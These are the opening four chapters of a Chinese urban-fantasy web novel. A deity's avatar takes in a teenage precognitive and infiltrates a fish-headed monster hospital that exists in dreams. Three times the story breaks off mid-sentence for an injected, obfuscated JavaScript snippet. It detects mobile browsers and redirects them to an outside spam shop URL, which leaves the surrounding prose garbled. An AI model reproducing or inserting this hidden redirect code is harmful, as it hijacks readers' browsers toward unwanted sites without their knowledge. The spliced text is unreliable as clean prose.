《请在污染世界里向我祈祷》 1. 第一章 欢迎进入真实世界 沈云烟正在与湍急的河流斗争,她一只胳膊护住女孩的脑袋,向岸边慢慢游去,凭借着熟悉水性,此时倒也算冷静。 旁边的围了一圈人,有人叫了救护车,有人往水里扔救生圈,有人试着下水搭救。 沈云烟下水前做了热身,救到人后反搂住女孩脖子,将人稳稳托住,避免落水者挣扎将两人都带下去,此时向岸边游去也是拿捏节奏,绝对不会有体力不支的问题。 所以她看见岸边老大哥鞋一脱就要往水里扎时眼皮一跳,幸好旁边的阿姨骂住大哥,邦邦给大哥两拳:“你可别下去添乱了,人小姑娘一会游上来了还得下去救你。” 沈云烟松了口气,接下来没什么意外,她带着人上岸后医护人员很快赶过来,幸好小孩被救的及时,咳了几口水就缓过来了。 孩子爸妈在景区和小孩走散,急的满世界找小孩,出事了才匆匆赶过来,两人抱着懵懂的孩子痛声大哭,脑子稍微清醒了要好好感谢好心人,回头一望已经找不见人了。 “好人呐,好人呐。”孩子爸抱住妻儿,无比庆幸。 救完人的沈云烟悄悄离开现场,背着她的包继续去菜市场采购。 没人看见的角落里,她头发和衣服上的水汽迅速蒸发不见,再出现在人流中时已经恢复干净清爽。 “三斤猪肉,四颗白菜,豆腐三块,韭菜多来点。” 熟门熟路地买菜付钱,沈云烟很快买齐所有的食材。 “好饿。”她低头揉了揉肚子,叹了口气,今天救人消耗的能量有点多。 “应该多屯点粮的。”她叹口气。 数了数身上的钱,她纠结一会儿,然后转头朝包子店走过去:“老板,二十个肉包!” 提着包子边走边吃,总算恢复了些许精力。 “截止二十三日十二点,据相关部门统计,由于长降雨天气,水位上涨,水流湍急,今年溺水人数较去年明显上升,请各地居民远离水边,尤其看管好儿童,预防溺水……” 沈云烟皱了皱眉,盯着大楼屏幕看了一会儿,移开视线时却发现不远处有个穿卫衣的少年也在看大屏幕,他目不转睛,嘴唇微抿,双拳握紧,似乎有种掩盖不住的恐惧。 他对别人的视线很敏感,少年有所察觉回头精准地对上了沈云烟的眼睛,一瞬间瞳孔收紧。 沈云烟眨了眨眼。 少年拔腿就跑。 不是,他跑什么? 沈云烟提着袋子下意识就追了上去。 一个扫腿把少年拦倒在花坛里,看他爬着往后缩,沈云烟咬了一口肉包,慢慢走到少年身前,提着袋子晃了晃,蹲下问道:“要来一个吗?” 看着少年惊恐的目光,她自己咬了一口道:“不要算了。” “咱们以前见过吗?”她转而问道。 少年不说话,一个劲地往后缩。 “你为什么怕我,我记性不好,聊聊?” 沈云烟叹了口气,看一眼提着的一大袋食材,又叹了一口气:“我太饿了,你最好赶紧回答我,不然再过一阵可能会发生一些无法控制的事情,我觉得我们都不想的。” 要是饿过头了可就麻烦了,她这具身体本来就是临时捏出来的,没了能量维持就会消失,有可能先是头消失,也有可能是腿,不想一会吓到普通人的话就得赶紧回去。 少年抖了一下,恐惧让心脏猛烈跳动,震得他耳鸣。 她想杀了我吗。 少年紧咬牙关,双眸中透着丝丝血红,他缓住心中的恐惧,看向沈云烟,那张脸与他曾“看到”的一般无二。 那是一片雨幕。 她站在猩红血肉之上,毫无情绪的双眸地撇过无数人,有人死在她的剑下,寒刃吻过头颅,有人死在她的脚下,五脏六腑都被震碎,有人被她抓起头发,按入水中,水中漫出血色。 窒息感涌上大脑,少年仿佛变成了那个溺在水中的人,无法逃离,无法反抗,委屈,恐惧,不甘,愤怒憋的他快要爆炸。 为什么要杀我,为什么要出现在这里,为什么没人救我,我不想死,我不想死!我不想死啊! 少年张了张嘴,仿佛有血从喉咙溢出:“我不想死……” 泪水从眼眶奔涌而出,少年自苏醒后累积的所有情绪都随之爆发,他将脸俯进膝盖里,手指把衣服攥得死死的,似乎陷入了一场血色梦魇中。 “不要挖我的眼睛,求求你,我很有用的,我能帮你看见未来,不要杀我。” 他哭着从喉咙中溢出些许声音,沈云烟甚至有些担心他喘不过来气。 未来? “抬头。” 少年被无形的力量控制着抬起头,眼睛哭的通红,眼神涣散。 沈云烟盯着少年的眼睛,伸手,少年下意识捂住脸,身子抖得像筛糠,声音微弱:“别挖我的眼睛,求求你。” “没人想挖你眼睛,抬头,让我看看。” 沈云烟的手强制掐起他的下巴抬起头,对视间,玄妙无比的图案在他瞳孔深处缓慢旋转。 一瞬间,沈云烟便看清了少年眼中的世界。 血红色的天幕,无数尸骸,圆月下的“沈云烟”站在尸山血海上低头俯视众生,手中长刃犹如冥府罗刹,收割性命。 “她”望着血雾弥漫的世界,嘴角勾起一丝笑,然后笑意不断放大,狂悖的笑声响彻云霄,身体背后似乎有模糊的重影,那影子也在狂笑,笑到嘴角裂开,蔓延到头颅。 “哈哈哈哈哈哈哈哈哈哈!!!” 沈云烟拧眉不语。 “预知能力……” 那个怪物是谁,那副场景又是怎么回事,涉及到自己的事难免会让人上心。 沈云烟咬了口包子,拍了拍少年的脸:“你家在哪,我先送你回去。” 少年神志不清,没有回应,沈云烟捞起少年胳膊,道:“那我带你回我家。” “不说话就当你答应了。” 铺满阳光的室内。 榻椅上闭目养神的人睁开双眸,琉璃色的纯澈瞳孔映不出世间一物,她墨色长发垂落在四周,虚浮在空中,不沾尘埃,绣纹繁琐的白色法袍同样虚落在地面,青色绸缎环住腰周,没于层叠的衣裙。 一间充满现代化气息的房间,一个仿佛从过去不知多少年穿越而来的古人。 明明是白天,那人的视线落在宋先身上时竟让他有种寒意,琉璃色的瞳眸仿佛能映照万物,他抓了抓衣摆,觉得自己的衣服是透明的,根本无所遁形。 明明她是安静的,宋先却感到无形的审视落在自己身上,一遍一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635818|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍刷洗。 空气寂静到连呼吸都有些困难,宋先扣住兜帽,无措地把自己缩进沙发里。 就在刚刚他半晕半醒间,把他提溜回这座屋子的那个女人匆匆扔下他就钻进最里面的房间,没一会儿这位古人就慢慢飘出来,似乎是在守着他。 是飘过来的,他看见这位的脚根本没有沾地。 这真的是地球吗。 我的噩梦还没醒吧。 他呆滞想着。 沈云烟这具身体的时间到了,得重新换一具,十分钟后,她穿着睡衣踩着拖鞋走出房间。 客厅里被她带回来的少年正和身着宽袖长袍的女子面面相觑,整个空间鸦雀无声。 她本体仍被封印着,神识常常栖于化身中,出去走动也是只用化身,没人操控的本体就只剩简单的条件反射,看起来呆愣愣的。 不过平时也没人能看到这副样子就是了。 沈云烟与本体打了个招呼:“先回去,这里我来。” 本体乖巧地点头,缓缓飘回房间里。 沈云烟往沙发上一躺,心中喟叹舒服,问少年:“叫什么名字?” “宋先!” 被神秘古人吓得大气不敢出的宋先看见沈云烟的表情像是看救星,也管不上预知里沈云烟的大魔头形象。 他咬了咬唇:“能救救我吗,我把未来全都告诉你。” 宋先也不是犟种,眼前这人肯定不是常人,能把他带回来说明还有的谈,不管这人为什么会变成预知那样,他已经落到这人手中,想办法保住性命才是最重要的。 “我看到的究竟是什么?” 回想起那一幕,真实的恐惧刺破他的心脏,仿佛能够闻到令人作呕的腥臭气息,他干呕一声,脸色瞬间苍白。 “你的能力是预知,你看到的那确实是未来的一角”,沈云烟看着宋先看向她的眼神逐渐不对,仿佛她就是杀人狂魔,只要下一秒情况不对他就要夺门而出。 沈云烟才慢悠悠接话:“不过仅是一角而已。” “况且,要是连我都被感染成了那副模样,这个世界恐怕早就千疮百孔,奄奄一息了”,她悄悄道:“我可是上头有人的,看见刚刚那位没?” 宋先点点头。 “觉得怎么样?” 宋先认真道:“很恐怖”。 就像被高维生物俯瞰一般,令他坐立不安。 沈云烟回想起本体那呆呆的表情,咳了咳,忍住笑意,脸不红心不跳地吹嘘:“怎么说话的,那可是何等尊贵的存在。” 宋先被她话中意思惊到,小心翼翼问:“那位……是?” “是神仙呐”,沈云烟不知从哪里变出一把香,往宋先身边递,道:“逢年过节,敬神上香,小时候跟着大人们去拜过神仙没?” 宋先点点头。 “现在你长大了,也可以自己去拜神仙了。” 宋先:“啊?” “愣着干什么,右边第一个房间,进去给我烧香火,心诚则灵。” 宋先:“哦。” 他抓过一把香就往房间走,听见沈云烟的声音在身后响起。 “神之代行人,沈云烟”,女人歪坐在沙发上,斜斜看他,嘴边噙着笑意:“欢迎你进入真实的世界,破妄者。” 2. 第二章 井井有条的医院(1) “我们通常将人群中的“异类”称作破妄者,喏,就你这样的特殊人才。” “至于我,通常被称为神之代行人”,她想了想道:“说成跳大神的也行,都是他们随意起的名字,我无所谓。” 一张方桌正对坐着两个人,沈云烟穿着简单的家居服,宋先依旧是那套卫衣,他们正在包饺子,看起来非常有生活气息。 “世界是虚幻的,而破妄者眼中见到的才是真正没有被粉饰过的世界。”沈云烟说道。 宋先脑子有点眩晕,他一边听着重塑三观的惊世言论,一边干着烟火味十足的活儿。 他怎么也想不通,预知啊、破妄者啊、虚幻的世界这些词能和包饺子这个活动在一个空间出现。 不是应该穿着斗篷,喝着烈酒,或是慷慨激昂演讲或是虔诚神圣的诉说吗,再不济,拿着什么徽章啊证件呀印迹啊对他说:少年,你发现了世界的真相,请和我们谈谈……这种也行啊! 沈云烟递给宋先一张饺子皮,宋先接过来,快速又熟练的捏出一个水灵灵的元宝饺子。 宋先:“……” 已经成熟练工了啊喂。 宋先努力正色道:“没有被粉饰的世界是什么样的?” 他除了看到一些真实过头的古怪预知外也没有见过其他异常。 “灰蓝的天,在地上行走的云,还有数不尽的怪物”,她想了想道:“怪物嘛,大概就是八颗头的巨型章鱼,或者神出鬼没的红色衣裳,这些怪物能力外表和个体差异太大,唯一的共同点就是喜欢筑巢。” 沈云烟边说边擀出一张薄厚均匀的面片,满意地点头。 “筑巢?” “选定一片猎杀区,将里面的人类作为储蓄的猎物,整个区域都是它的猎场,或者说巢穴,这整个过程就叫做筑巢。” “要小心呐”,沈云烟对着宋先笑了笑,意味深长道:“可别被它们注视上了,尤其是破妄者,你在它们眼中是上等佳肴,会死的很惨的。” 宋先手中一紧,一枚饺子被他捏扁,他沉默着放下饺子,抿了抿唇,接着抬头直视沈云烟:“什么怪物,什么真实世界我不懂,我知道自己只是一个没有自保能力的【预知】,但我不想死!” 他双目深处似乎染上了火焰,灼得人心发烫:“我想活下去!请帮帮我,让我做什么都可以!” 明明那么孱弱,那么胆小,却能在某一刻爆发出惊人的“火焰”,正是因为这顽强的求生意识,她才这么喜爱人类这种生物啊。 不过…… “不用紧张,就你那最多十秒的预知现在能干什么”,她挥出一打饺子皮给宋先,招呼道:“快点包,饿死我了。” “过阵子带你去见见世面,至于现在,就好好干家务赚保命费吧。” 等到中午两人吃完,宋先自觉地刷锅洗碗,留下沈云烟一人在客厅休息。 “让我想想,先从谁开刀呢?” 她面前悬浮着十张笔记本纸,上边涂写着各种信息,页边有明显撕扯的痕迹,似乎是被什么人大力从本子上撕下来的。 “就你了。” 【梦中回响之音】 晴空暖阳,微风徐徐。 “为什么我们也要坐火车?没有专人接送吗?” 不应该嗖地一下就变到目的地,或者官方组织安排直升机直达。 “今年多大?”沈云烟撇他一眼。 清秀稚嫩的宋先挠了挠头,坦诚道:“快十六了。” “正是做梦的年纪”,沈云烟笑了:“人类最伟大的发明之一就是经济又实惠的火车,或者你走着去也行,又不着急。” 宋先把头晃成拨浪鼓,小心翼翼地问:“我们没有组织吗?” “我就是。” 宋先眼睛变得亮晶晶,兴奋道:“我们有多大规模?” 沈云烟指了指自己:“我,老大”,接着指了指对面的宋先:“你,小弟。” “没了?” “没了。” “……” 这是正经组织吗? 有种上了贼船的感觉。 “到地方了。” 出了火车站后转乘出租,沈云烟下车关门,和宋先一起来到人流密集的大街上。 这里是落英市最繁华的地段,高楼大厦层层林立,道路四通八达,行人熙熙攘攘,好不热闹。 “进入这里后,我们会分开一段时间”,看见宋先一脸紧张的样子,沈云烟安慰道:“安心,不会有什么大问题的。” 宋先稍微松口气,接着又紧张道:“那我能干什么。” 要是帮不上忙的话,会被丢下吧。 沈云烟笑的灿烂:“当然有你的任务,你可是咱们完成任务的重要环节之一。” “真的?” “保真!” 听着沈云烟信誓旦旦的声音,宋先没来由的有种不祥的预感。 直到走近一座装修阔气的建筑,宋先觉得自己未卜先知了。 “欢迎光临,请问几位啊”,优雅的旗袍女招待温声询问道,笑吟吟地看向面前的少年。 宋先做贼似的环顾一周,实在没发现沈云烟的身影,终于磕磕巴巴道:“一,一位。” “好的呢”,女招待应声点头,转头朝后方突然喊了一嗓子,震得宋先眼睛都瞪大了,她猛声道:“后院澡堂男宾一位!” “尊敬的顾客这边请。”女招待对着宋先轻柔地笑着。 被迫在洗浴中心办了卡,即时享受搓澡师傅的vip待遇,宋先迈着僵硬的腿走进了后院,在万分努力的争取下,他保住了自己最后一件单薄的平角裤。 搓澡师傅略显豪迈,无情地像在给鱼剃鱼鳞。 “你们这些外地年轻娃娃就是脸皮薄,要换我们这旮瘩小子,翻来覆去都给他盘顺溜了。” 大爷不小心碰到某块布料,作势就要给他拉下来,被宋先拼命摇头死死捂住,挣扎间大爷不小心扯下一角,又给他扒拉回去。 搓澡大爷:“啧。” 宋先脸色发红,头埋下去,强装镇定,瞳孔在大爷卖力的服务下都扩大了。 经历过搓澡,淋浴,推拿,蒸汽,宋先带着淡淡的死感来到vip休息室, 他们到底!为什么!要埋伏在这啊啊啊! 与崩溃的宋先不同,沈云烟格外开心。 “再来一杯。”沈云烟摇着果汁舒服地躺在榻上,心想这地方真是来对了,以后列进旅游必来清单。 就是刚刚搓澡大妈努力半天没在她身上搓出半点污垢,十分挫败,她安慰了好一会儿才安抚住大妈的好胜心。 这是假的身体,能搓出什么才可怕。 “嗯……搓澡就算了,不过温泉倒是不错。” 她估摸着宋先那边时间也差不多了,近期神经高度紧绷加上这么长的车程,洗浴中心一整套优质vip服务流程走下来,进了休息室肯定得睡个昏天黑地。 事实也正是如此,在宋先的房间内,他紧绷的神经被一种相当混乱的方式松弛下来,宋先头轻轻一歪,陷入睡梦中,轻微的呼吸声传出,整个房间静了下来。 然后,引起了不知名生物的注视。 一股淡淡的香气随着不知从何处来的袅袅青烟扩散开来,飘进更深的梦里。 宋先睡的更沉了。 【滴滴滴!】 【滴滴滴!】 “不可能,阿先他那么健康的娃,怎么会患上这种怪病,医生你再看看他,这眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635819|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么漂亮有神,怎么会不正常呢。” 宋先皱了皱眉,奋力睁开双眼,适应过强的光线。 眼前这一幕让他几乎忍不住跌坐在地。 他咽了口唾沫,愣是凭意志力钉在了原地。 “片子都拍出来了,我是这里眼科最专业的医生,手术风险虽然大,但还是有机会让他变正常的,监护人,你要相信医生。” “可是,可是……” “没有可是,越晚摘除风险越大,到时候活不活得了就难说了。” “毕竟……”鱼头人身的白大褂医生瞪着硕大的死鱼眼深深叹了口气:“我这种雾蒙蒙不能眨眼的圆眼睛才是正常人有的。” 它遗憾地看了一眼宋先:“会眨眼的纯黑色细长眼睛是会被歧视的,您不想让您的孙子也受到这种歧视吧。” 同样黑眼睛的老人沉默良久,哑然无声。 察觉到孙子表情不大对,她粗糙的双手轻轻抱住宋先的脑袋,哄道:“不要怕,不要怕,奶奶一定会治好你的。” “行了行了,回去好好想想吧,要是耽误了治疗可就不止摘除眼球了。”鱼头医生不耐烦挥了挥手,让他们出去,这里准备接待下一位。 荒诞不堪的场景在眼前上演着,正常人在这里被定义为畸形,怪物在这里堂而皇之成为治病救人的医生。 宋先悄悄看了一眼那医生,鱼嘴一张一合,涎水沾满了身前的白大褂,眼前的怪物却一点不在乎,努力模仿着人类的一举一动,握着笔僵硬地在报告单上写写画画。 虽然没抬头,宋先却感觉到无形的注视落在他身上,这个鱼头医生也在观察他。 这里就是“巢穴”。 虽然从沈云烟那里听说这个巢穴的门是“梦”,但亲眼面对这些东西还是有些刺激。 第一次直面怪物的宋先强制自己平复情绪,带着奶奶走出诊室门,他轻轻嗅了嗅,觉得身上沾着某种熟悉的味道,好像是沈云烟家里的清香气。 “怎么了,阿先,眼睛还是不舒服吗?”老人问道。 宋先看着眼前焦急的奶奶,眼中带出些笑,摇摇头:“没事的奶奶,我今天好很多了,可能过阵子就自己恢复了。” 他在获得预知能力之前,眼睛总会莫名其妙干涩剧痛,明明好好睡了一觉,醒来时眼球却满是红血丝,还有睡梦中时不时飘过的模糊场景,使他一度觉得自己患上了某种疾病,奶奶也因此整日着急。 梦境中的奶奶与他印象中一般无二,让宋先心中升起一丝柔软。 宋奶奶松了口气,又拉住宋先道:“那医生说的要换鱼眼睛,要是阿先实在不喜欢黑眼睛,咱也可以来做手术的,奶奶有钱,不怕啊。” 宋先按住老人的手,道:“怎么会不喜欢,我最喜欢的就是和奶奶一样的眼睛了。” “至于医生,可能它审美比较特殊,外边我同学都说黑眼睛神秘又深邃,可漂亮了。” 宋奶奶赞同地点头。 “我说也是,鱼医生看着仪表堂堂,听说还是著名眼科医生,可惜眼光不行,要我说,我们家阿先的黑眼睛最漂亮了。”老人三两句就乐地和花一样,捧着宋先的脑袋看个不停。 “好了奶奶,我们先回家吧,我有点饿了。” “对对,那咱们快回家,我蒸了饭在锅里呢。” 顺着走廊缓缓向医院大门口走去,沿途有患者,多数是人形,除此之外也混杂着不少类人生物,基本都是医院工作人员。 员工们做事井井有条,如果忽略这些“人”怪异的头,这里就是一个正常的标准规格医院,甚至员工还格外勤奋敬业。 宋先扶着奶奶,无声地望向院门口的阳光。 诱饵已经撒出来了,鱼钩又埋伏在哪里。 3. 第三章 井井有条的医院(2) “换七彩鱼眼不行?你不是眼科圣手吗,这点能耐都没有。” “女士,请不要无理取闹,哪里有七种颜色的鱼眼睛,你在为难我。”鱼头医生强忍怒气,死鱼眼都有些翻白。 “提点要求就说我为难你,哼,怎么不从自身找原因,这些年有没有精进医术,有没有去国外交流学习,多从自己身上找找原因吧,不要老怪别人”,女人理所当然道。 “你……你……”鱼头医气地话都说不全了。 带着墨镜的女人拿起桌子上的挂号单,扫了一眼单子上流水号:002。 女人把挂号单装进口袋里,不耐烦道:“行了行了,我不和你这庸医讲了,隔壁市医院来了个眼科专家,我去挂个号。” 无视鱼头医生阴狠恶毒的目光,沈云烟转身离去,还贴心地关上门。 被打晕的真正002号七歪八扭的躺在地上,被沈云烟拉着锁进了隐蔽的楼梯间。 她若无其事地往出走,宽大的墨镜遮住她半张脸,谁也看不出她的表情。 作为一个合格的巢穴,隐蔽是重中之重。 巢穴的主人除了进食之外都不会出现在人前,这是怪物隐于暗处的天性。 【梦中回响之音】编号C03,是已知怪物中的顽固毒瘤之一,虽然位置在落英市,实际上巢穴入口却不准确,因为巢穴的“门”在落英市范围内活人的梦里,被选中的目标极为随意,逮捕难度飙升。 “终于进来了,这次可多亏撒的鱼饵够香。” 香到C03急不可耐地就吞了宋先,连她这个隐在背后的鱼钩都没察觉出来。 她环顾一周,将医院情况收入眼底。 鱼头医生不会攻击患者,医院里怪物们努力工作,一片欣欣向荣的日常。 “不好意思,002号患者,请不要在大厅来回走动”,语气不佳的鱼头护士上下扫视,然后生气走到沈云烟面前道:“你又自己偷偷跑出来挂号,精神科的医生已经被你戏弄好几次了,再这样下去,就得给你加重药量了。” 沈云烟摩挲了一下口袋里的挂号单。 原来002号是个精神病,还是个偷跑惯犯。 “你快点和我回去,回去晚了会被电击的。” 沈云烟不动如山:“是你被电击还是我被电击?” 护士奇怪地扫了她一眼:“当然是你,我只是负责叫你回去。” “既然回去要被电击,我还回去干什么。” “这是规定,患者,所有人都必须遵守身份规定,不然就得死。”护士回话很大声,呆滞的鱼眼睛瞪的老大,透出一点点无机质的残忍。 “我生病了护士,我需要治疗”,沈云烟回道:“除了精神病外我的眼睛也出了点问题。” 她缓缓从口袋取出那张002的挂号单,在鱼头护士面前展开,她笑着地把挂号单往前递,在护士下意识往前看的时候,猛地拽住护士衣领,瞬间将它拉进了视线死角。 医院照常运转,没人注意这里发生了什么。 “我看到鱼的头长在了人的身体上,太怪异了,我忍不住想帮你割掉它,我亲爱的护士小姐。” 光照不到的地方幽深阴暗,沈云烟掐住鱼头护士的脖子将它按倒在地,任由护士拼命挣扎。 十分钟,二十分钟…… 面前的鱼头护士已经没了力气,她极力汲取空气,突然间,它像是意识到了什么一样,鱼目怒瞪,语气却有恃无恐起来。 “你想拿走我的身份,呵,患者怎么可能夺走护士的身份,在医院主动挑事的后果你不会想承担的,想想死掉的倒霉鬼们吧,神会惩戒愚昧的牲畜,你一定会死的很惨。” “是吗?”沈云烟加大了手中的力度。 伸手握住它身前的医院护士牌,用力一拽,小巧精致的金属牌就落在了沈云烟手中。 护士从容的语气一点点变了调:“怎么可能,你怎么可能……咳……” 入侵者……是入侵者。 “现在,下去陪那些倒霉鬼吧,敬业的小护士。” 亮白的刀刃抹过鱼头护士的脖子,一条血线瞬间形成,接着缝隙扩大,却没有多少血流出,这具身体与头颅的连接处,是大片干瘪的空腔。 护士拼命挣扎,却被死死按住,直到鱼眼彻底失去光泽,混浊的眼球望向天花板,再也倒映不出任何东西。 它死了。 沈云烟起身,缓缓将护士牌挂在自己身上,想了想,又将002的挂号单扔在鱼头护士尸体上。 很明显,这是一场关于【身份】的游戏,一张挂号单可以让她变成002号患者,一个护士牌就可以让她成为医院的工作人员。 只要她能避开“神”杀死怪物拿到身份,整个巢穴对她犹如无人之境。 至今为止,沈云烟还没感受到真正危险,留在宋先那边的“香”也正常,只要武力值足够,似乎这座巢穴并没有什么威胁。 不过排列第三顺序的C级巢穴【梦中回响之音】范围囊盖了整个落英市,危险序列为03,肯定还有值得深挖的后招。 她像猫一样静悄悄地离开现场。 往医院外只有一条直行道,时不时有患者向她打招呼,问候护士好,她微笑点头视作回应,步伐却丝毫不减。 “这里怎么回事!” 后方爆发出尖锐的喊叫,引起全院人的注意,沈云烟停步侧目。 护士尸体这么快就被发现了? 刚刚那地方可是相当偏僻,没个十分钟绝不会有人经过,而二十秒就足够她离开这座医院了。 这里的鱼人似乎变得灵活了一点,不像她刚刚看见的呆滞。 是因为死了一个护士引起C03的注视了吗? 沈云烟摸了摸护士牌,脚底下掉了个头,本来她要出去,现在却往人堆里走。 既然都被发现了,那就看看【身份】这场游戏究竟能玩到什么程度。 监控死角处已经围了一大批员工,安保队长站在最前面检查尸体,它翻了翻落在护士尸体上的挂号单,念道:“002号患者。” 有人搭腔:“我认识它,002怎么又从精神病院跑出来了,我记得刚刚护士往这边走了,找护士问问。” 那穿着后勤衣服的鱼人向周围望了一圈,看见沈云烟时停住,过来就拉她,大声道:“护士在这,护士在这,让护士说说当时发生了什么。” 沈云烟被拉到中心圈,所有鱼人都围着她,等待着她给出解释,冰冷的鱼目直勾勾的盯着她,像是等待某种允许开始的信号。 沈云烟看着安保队长的眼睛,道:“刚才啊,刚才002精神病犯了,拉住我要抢我的护士牌,我又按不住它,准备给精神科的同事打声招呼让后边给它加大电击程度。” “至于它现在这副样子,或许是违反了神的旨意吧。” 【神会惩戒愚昧的牲畜】 众鱼静默。 原本剑拔弩张的氛围顷刻间消失,转而被一种浓浓的焦虑取代。 沈云烟见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635820|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状眨了眨眼,放松了手上蓄势待发的动作。 “002居然敢抢身份,真是大逆不道,神会惩戒它也是它活该。”有鱼愤恨骂道。 “请神原谅牲畜的无知。” “请神原谅牲畜的无知。” “请神原谅……” 无数道声线重合在一起,虔诚的忏悔在医院的每一处展开。 一提到神,医院众鱼像是触及到了违禁词,纷纷做出祷告的动作,祈求神的原谅。 沈云烟见状也低下了头,神情庄重,口中微不可闻,完美融入场景中。 C03可真是准备在巢穴里做大做强,连怪物信徒都准备好了。 终于,一阵混乱后,安保队长对好了身份信息,在沈云烟的注视下点了点头:“002确实不听话,跑过来么这多次没被处死是神对它太过宽松,这次居然还犯下抢夺身份的大罪,死不足惜。” 它招招手,示意其他人上来处理现场。 沈云烟神情平淡,眼中有微光闪烁。 这个【身份】的游戏真是令人惊讶,在这里身份的意义非同寻常,鱼人们只能辨认身份牌。 换句话说,身份牌才是人,而身形样貌只是衣服罢了。 沈云烟眯了眯眼。 身份是死的,人却是活的,有需要时,或许能直接抢夺医院员工的身份。 医院里众人归位,又恢复了一开始的忙碌状态。 沈云烟本意顺着走廊走出医院大门,却在即将出去的时候被人拦下来。 “护士,下班时间还不到,你这是提前离职,早退是不允许的。”鱼头门卫一板一眼地说着规则,手上血迹斑斑的弯刀一刻也没放下来过。 这门卫可没有鱼头护士那么好对付。 沈云烟退了一步,问道:“我刚刚看见有个同事出去了,今天下班时间没变吗?” “没变,你估计把患者和工作人员看错了,我们最早下班的医生也得晚上六点走。” 门卫丧丧的,沉声道:“护士你晚上九点走还好,我得凌晨两点才能走。” “那是我看错了,工作辛苦了”,沈云烟回头朝医院诊室走去。 “没事,祝您工作愉快。”门卫回道。 还怪礼貌的。 鱼头医生居然是最早下班的,下班之后这些医院员工又会去哪里? 不过她现在想早点出去跟着宋先,那才是该蹲守的地方。 医生的身份。 要抢过来。 医院里的医生少得可怜,沈云烟摸清情况,发现这座医院的诊室里仅仅开了五扇门,其中四扇诊室门是大开的,里面坐着各种品种的鱼头医生。 与正常的医院科室不一样,这些怪物医生只诊断五官:眉,眼,耳,鼻,口。 唯一没开门的只有眼科医生,看完002号患者之后,一直没有病人找它,诊室比其他的医生冷清许多。 似乎是因为眼科圣手脾气古怪,患者都不喜欢挂它的号。 所以它现在,落单了。 沈云烟抬脚往眼科鱼头医生那边走,站在她最初降临的诊室门口,轻轻推开了门,进门后转身关上了门。 “护士,你来干什么。” 鱼头医生诧异地抬起头,手边的手机还没来得及放下。 沈云烟眼力非凡,一眼就看见了手机上的搜索界面:世界上有没有七彩的鱼眼睛。 “……” 某种程度上来说,它可真是个有自我突破精神的医生。 4. 第四章 井井有条的医院(3) 沈云烟摘下墨镜挂在衣襟前,靠坐在了桌案上,长腿微曲,她抽出鱼头医生桌案上的一把手术刀,刀刃灵活地在指间飞舞,然后猛地扎向桌案。 手术刀嵌入木头,直直挺立。 “护士你想干什么?!” 鱼头医生又惊又怒:“你在威胁我?!” 它喘了两大口气,气愤道:“杀了我你也得死,神怎么会允许我们不守规定,别做傻事。” 因为护士的身份,鱼头医生好像笃定她不会真的动手。 诊室隔音很好,附近也没什么人,杀了鱼头医生拿了医生证件再毁尸灭迹,等到了六点就出医院门,顺便看看其他医生出了医院会去哪。 她敢笃定,这里的晚上绝对别有风采。 探查清楚了就悄悄蹲住宋先,C03就等着这口佳肴呢。 鱼头医生没想到眼前这人正盘算着抢了他的身份后把它毁尸灭迹,它在座位上吼了几嗓子后突然就沉默了下来。 沈云烟这会儿想清楚计划,倒是不着急杀鱼头医生,还有心情问它:“怎么了?” 鱼头医生来回地看了她几眼,没了最开始的暴躁,此时倒是有一丝像真正的人了,它撇开脸道:“神说,爱是不能强求的。” 沈云烟:“所以?” “你不能拿着刀威胁我和你在一起,护士,这是不被允许的,之前不行,现在更不行。” 怎么这些鱼头人之前还有感情纠纷。 沈云烟笑出声音:“那我要是硬要强求呢。” 她抽出那把手术刀,慢慢地在鱼头上比划,鱼头医生倒是硬气,愣是躲也没躲,任由她在鱼脸上划出一道血痕,红色的血顺着刀刃滴在医生握紧的手上。 沈云烟这才发现除了怪异的鱼头之外,这个医生的手居然格外白皙,视线扫边周身,鱼头医生这具身体身量高大劲瘦,十分健康,最主要的是,不同于外边那群行尸走肉,眼前这位除了头之外,甚至可以称得上生机勃勃。 “你偷拍我,跟踪我,偷我东西也就算了,现在还想威胁我就范,你这个变态的女人!”鱼头医生红着眼,声声控诉,字字泣血。 被迫背锅的沈云烟:“……” 鱼头护士可真是敢作敢为的变态,怪不得能直接在眼科医生门口和她撞上,感情是有前科,在蹲点呢。 “你能得到我的人,得不到我的心。”鱼头医生还在坚守阵地。 “呼!” 她有点想动手,但考虑到刚刚发现的异样,还是忍住了。 有蹊跷。 沈云烟收回了刀。 鱼头医生以为自己说服了对方,劝道:“我有喜欢的人了,你会找到更好的。” 它移开凳子,转身去帘子后的柜子翻找着什么东西,沈云烟转着刀看它动作。 